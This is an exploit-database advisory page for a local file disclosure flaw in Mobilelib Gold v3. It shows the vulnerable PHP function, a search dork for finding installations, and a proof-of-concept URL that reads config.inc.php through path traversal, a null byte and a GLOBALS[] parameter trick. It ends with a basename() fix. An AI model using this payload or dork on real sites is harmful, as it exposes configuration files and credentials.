0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Mobilelib Gold v3 Local File Disclosure Vulnerability
===================================================== Mobilelib Gold v3 Local File Disclosure Vulnerability ===================================================== || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_, ( : / (_) / ( . ___________________ _/QQQQQQQQQQQQQQQQQQQ\__ __/QQQ/````````````````\QQQ\___ _/QQQQQ/ \QQQQQQ\ /QQQQ/`` ```QQQQ\ /QQQQ/ \QQQQ\ |QQQQ/ By Qabandi \QQQQ| |QQQQ| |QQQQ| |QQQQ| From Kuwait, PEACE... |QQQQ| |QQQQ| |QQQQ| \QQQQ\ __ /QQQQ/ \QQQQ\ /QQ\_QQQQ/ \QQQQ\ \QQQQQQQ/ \QQQQQ\ /QQQQQ/_ ``\QQQQQ\_____________/QQQ/\QQQQ\_ ``\QQQQQQQQQQQQQQQQQQQ/ `\QQQQ\ ``````````````````` ````` =Vuln: Mobilelib Gold v3 Local File Disclosure Vulnerability =INFO: http://www.ac4p.com/ =BUY: http://www.ac4p.com/ =Download: ~~~ =DORK: intext:"English for dummies" ____________ _-=/:Conditions:\=-_ ```````````````````````````````````````````````````````````````````````````````` Magic_quotes MUST BE ON :) ---------------------------------------===-------------------------------------- _________________ _-=/:Vulnerable_Code:\=-_ ```````````````````````````````````````````````````````````````````````````````` // in "./myhtml.php" function getthememyhtml($page) { if (file_exists("./myhtmlpages/".$page.".html")) { $templat="./myhtmlpages/".$page.".html"; $tempindex=@fopen($templat,"r"); $html=@fread($tempindex,@filesize($templat)); @fclose($tempindex); } else { $html ="<p align=\"center\"> aa iOEOU AiICI aaY Ca?CaE.</p>"; } return $html; } ---------------------------------------===-------------------------------------- _______ _-=/:P.o.C:\=-_ ```````````````````````````````````````````````````````````````````````````````` We will bypass the security, where it takes all _GET variables and scans if they contain harmful tags such as the null char (%00) ..etc We will bypass it by using an old GLOBALS[] trick ;) http://localhost/goldv3/myhtml.php?GLOBALS[page]=../config.inc.php%00 ---------------------------------------===-------------------------------------- __________ _-=/:SOLUTION:\=-_ ```````````````````````````````````````````````````````````````````````````````` // in "./myhtml.php" function getthememyhtml($page) { $page = basename($page); //<---- Added the good old Basename func ;) if (file_exists("./myhtmlpages/".$page.".html")) { $templat="./myhtmlpages/".$page.".html"; $tempindex=@fopen($templat,"r"); $html=@fread($tempindex,@filesize($templat)); @fclose($tempindex); } else { $html ="<p align=\"center\"> aa iOEOU AiICI aaY Ca?CaE.</p>"; } return $html; } # 0day.today [2024-09-28] #